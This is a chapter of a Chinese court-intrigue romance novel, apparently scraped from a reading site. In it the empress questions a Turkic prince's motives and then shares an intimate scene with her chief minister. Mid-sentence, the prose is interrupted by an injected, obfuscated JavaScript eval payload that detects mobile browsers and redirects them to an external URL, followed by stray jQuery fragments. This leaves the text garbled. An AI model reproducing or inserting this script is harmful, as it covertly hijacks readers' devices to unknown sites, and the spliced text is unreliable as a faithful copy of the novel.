41. 昏暗

    玉山犹豫一瞬,瞥向四周的宫人。


    宋撄宁会意,抬手将她们屏退:“这下可以了吗?”


    玉山朝她感激一笑,端正了神色:“我听陛下不少近臣都爱称您为圣人。此为何意?”


    “......竟是这事吗?”她怔神,随即解释道:“我朝以为帝王当与圣人比肩,加之他们和朕亲近些,故有此称呼。”


    “那,何谓圣人?”玉山问完,又面露好奇:“陛下勿怪,我只是对大邺的文化感兴趣些罢了,难得有这等良机,可以允我向陛下讨教,我得好好把握才是。”


    宋撄宁表示理解,“朕以为圣人当为仁治以立德,尽心以立功,兼听以立言,但朕不足之处良多,不敢忝居圣人之列。”


    说完她心中也升起一丝怀疑,玉山向她询问这种问题,为何要避开他人?


    “那仁治具体表现在何处呢?”


    宋撄宁警惕起来,斟酌着说:“古来施行仁政,莫不宽以待下、法度仁慈、民贵君轻。”


    玉山继续把玩腰饰上的珠玉,“原来如此,我受教了。”


    他话锋一转,忽然提了另一事:“我此次前来,父罕的确有意与大邺结亲,陛下以为如何?”


    “王子,大邺讲究长幼有序,朕听闻王子的姐姐都还未定下婚事,岂能逾矩行事呢?”


    “陛下圣明。”玉山起身向她行礼,“那日殿上求亲,的确失礼,我向陛下请罪......这是父罕的要求,非我本意。”


    天色昏暗,宋撄宁望着他远去的身影,心中一片迷雾。


    临走前,玉山特意说了句,求亲是父罕的要求,非他本意,难道他有苦衷不成?


    莫明汗王究竟想做什么?


    一边与贺兰错结亲,一边又想要大邺的助力,突厥一族,百年前便对中原沃土虎视眈眈,他怎么可能安安心心送独孤炽上帝位,做一块垫脚石呢?


    看着舆图上的路线,宋撄宁心中蓦然有了一个猜想。


    若与河西行省结盟为假,图谋大邺江山为真,那便可以说通了。


    私下送公主联姻,麻痹独孤炽与贺兰错,表面令玉山前来,求一份大邺的助力,彼时既可以借大邺的力量抗衡河西,又可以在她与独孤炽开战之时,顺利从河西杀入腹地。


    只是......宋撄宁有些诧异,这位汗王是如何使河西的那二人信服的?玉山入京这样光明正大,明眼人都能看出他结盟的意图。


    还有玉山,他是作何打算,和汗王可是一心?


    回到紫宸殿书房时,崔望熙已经在那等候了,正出神地看着墙上的画。


    “刚刚玉山和朕说了些事情。”宋撄宁接过他递来的茶盏抿了一口,“......有些古怪。”


    清雅的茶水滑入喉间,她在崔望熙身侧坐下,将刚刚的一切细细地说给他听。


    “非他本意?”崔望熙拧眉,“为何要让你知道此事?”


    “朕觉着那位莫明汗王根本不想和独孤炽他们合作,只是为了日后攻入大邺便捷些罢了......倒是玉山的态度,朕有些摸不透。”


    崔望熙沉思片刻:“他怎么会问仁治圣人之类的问题?大邺如何治国待下,与他有何干联?”


    “朕猜他还有未尽之言,估计还会来找朕的,下次你躲屏风后头去,也一起听听。”


    宋撄宁的目光描摹着男人英隽俊俏的侧脸,天光黯淡,精致的轮廓半数留在阴影中,带了些朦胧若梦的意味。


    果真......赏心悦目。


    宋撄宁暗暗反思自己,朕不会是个沉迷色相的君主吧?这可不行。


    “撄宁。”下颌被一只手掌温柔地托起,“你......在看我吗?”


    “嗯,崔相姿容过人,朕——”


    崔望熙靠近她,温热的气息散在额间,如同轻盈的羽毛拂过,熟悉的瑞麟香浸润了二人。


    宋撄宁抬手,捧住男人托着她下颌的手,身子微微后倾,随即低眉,学着他昨夜的模样,吻住他的指尖。


    樱唇点了海棠色的胭脂,被染在肌肤上,暧昧又惑人。


    周遭的万物瞬息化为虚无缥缈的幻影,崔望熙感觉昏昏沉沉的,神智却又无比清醒。


    他岂敢妄动,惊扰来之不易的此刻。


    宋撄宁见他丝毫反应都没有,疑惑地愣了愣神,继而飞快咬了一下,贝齿划过修长似竹的指节,崔望熙浑身一颤,喉珠快速滚动,感到了难耐的渴意。


    “别、撄宁——”


    宋撄宁勾了勾嘴角,眸中闪过一丝狡黠的笑容,若无其事地端起茶盏:“崔相怎么了......是热吗?可朕记着今天下雨凉得很呢。”


    风呼啸而过,雨点被吹打在窗上,发出清脆的“哒哒”声。


    崔望熙沉默着,曲起指节,看着她印下的那抹胭脂红,缓缓贴上自己的双唇。


    宋撄宁睁大了眼,脑中莫名滑过些许画面——


    天香楼上灯火辉煌,崔望熙慢悠悠地吃完了她剩下的那碗酥山。


    千秋殿里夏日安宁,待她尝了第一口后,崔望熙才肯让她继续喂食。


    那时只觉此人实在奇怪,如今方知,他早有预谋。


    什么君臣同乐,亏他找得出这样的借口,自己竟没能反应过来。


    “你当初是不是......故意......”


    崔望熙淡然地给她添茶,口间是胭脂浅浅的甜馥,他故作不知:“什么?”


    “没什么,朕是说,朕要批折子去了。”宋撄宁作势起身往书桌走,“来人,点灯。”


    “是。”等候已久的宫人刚要进殿,便被一道男声制止,“圣人案上有机要,不必入内,我来便可。”


    宫人站在原地,并未听从他:“圣人......?”


    宋撄宁无奈叹息:“放在那,让崔相来吧。”


    “是。”


    烛台和火折子被小心放下,殿内归于沉寂,窗外的九重宫阙笼罩于水幕之中,属于秋日的寒凉弥漫开来。


    宋撄宁俯首看向腰间环绕上来的手臂,又扭过头望向他。


    男人的面容在昏暗的书房里显得模糊不清,只能勉强瞧见眼底微光,似是萦绕着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060476|161269||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    浓浓雾气,令人捉摸不透。


    灼热缠绵的吻悄悄落在耳畔。


    “圣人今日,怎么没戴耳珰?”崔望熙拥着她问道。


    “朕是因为——”


    因为早晨梳妆时挑了一对金嵌宝,华丽别致,但沉甸甸的,坠得她有些累,见完玉山便取下给宫人带回了。


    哪知他会......


    腰上的手臂收紧了些,宋撄宁清晰感受到他宽阔的胸膛,将她牢牢困入,腹前沟壑分明,精瘦有力。


    耳上的软肉忽被轻轻地衔住,一点点地研磨。


    “圣人牙尖,将微臣的手都咬破了。”


    “朕哪有......”


    “怎么没有?”崔望熙举起手,伸到她眼前,上面还残留着极淡的红印,“都出血了,圣人瞧瞧。”


    “这、这不是——”宋撄宁偏过头,却被追着不放。


    “那是什么?微臣愚昧,请圣人......赐教。”


    宋撄宁揪着自己的袖角,默不作声。


    崔望熙有无尽的耐心,他用了几分力,不依不饶地追问道:“圣人还未给微臣解答呢......这是什么?”


    耀眼的白光刹那闪过,照亮了纤长的手指,旋即便是一声惊雷轰鸣。


    暮色深深,大雨滂沱。


    “是......胭脂。”


    崔望熙满意地笑了下,话音温和:“原来是胭脂,不过奇怪......微臣身侧从未有过女眷,一向洁身自好,这胭脂......是哪来的?”


    “崔望熙!你这是以下犯——”她的袖子被揪出一条条褶皱,说话气息不稳。


    “嗯,微臣有罪。”崔望熙波澜不惊地回道,动作却未停下,“圣人,胭脂是哪里来的?”


    他刻意唤她圣人,引得宋撄宁生出羞意,仿佛二人在严肃地谈论什么重要政务,面前亦恰好是一方书桌,上面整整齐齐堆着几叠奏折,笔墨纸砚摆放一侧,隐约有墨香飘浮。


    实际上,黑暗之中,亲昵无比。


    最后,她呜咽一声,断断续续地说:“胭脂......是朕唇上的,崔望熙,你赶紧——”


    身后的人终于放过了那被吮吻得粉润的耳珠,离开时又再度亲了亲。


    “撄宁、撄宁......”他不舍地抱了一会,才折身去取火折子和烛台,将殿中四周的灯一一点亮。


    宋撄宁站在摇曳的光影里,微微阖着眼,似在沉思。


    雨渐渐小了,偶尔闻得清越的鸟鸣,壶中茶水早已冷涩,她饮了一小口,被苦得蹙眉,便放回案上。


    崔望熙走过来,“要喝温茶吗?我去叫人换新的。”


    “不喝了。”宋撄宁低低地道。


    “早些歇息,明日我再去探一探玉山的事。”


    “嗯,朕也派杜年接着查他了,大概很快能有进展。”


    屋门推开,紫宸殿的小宫女们看着平日里端方优雅的崔中书,神采奕奕地从书房走出,临行前不忘叮嘱她们入秋了,记得给圣人添衣。


    随后,撑着伞,步入绵绵夜雨中。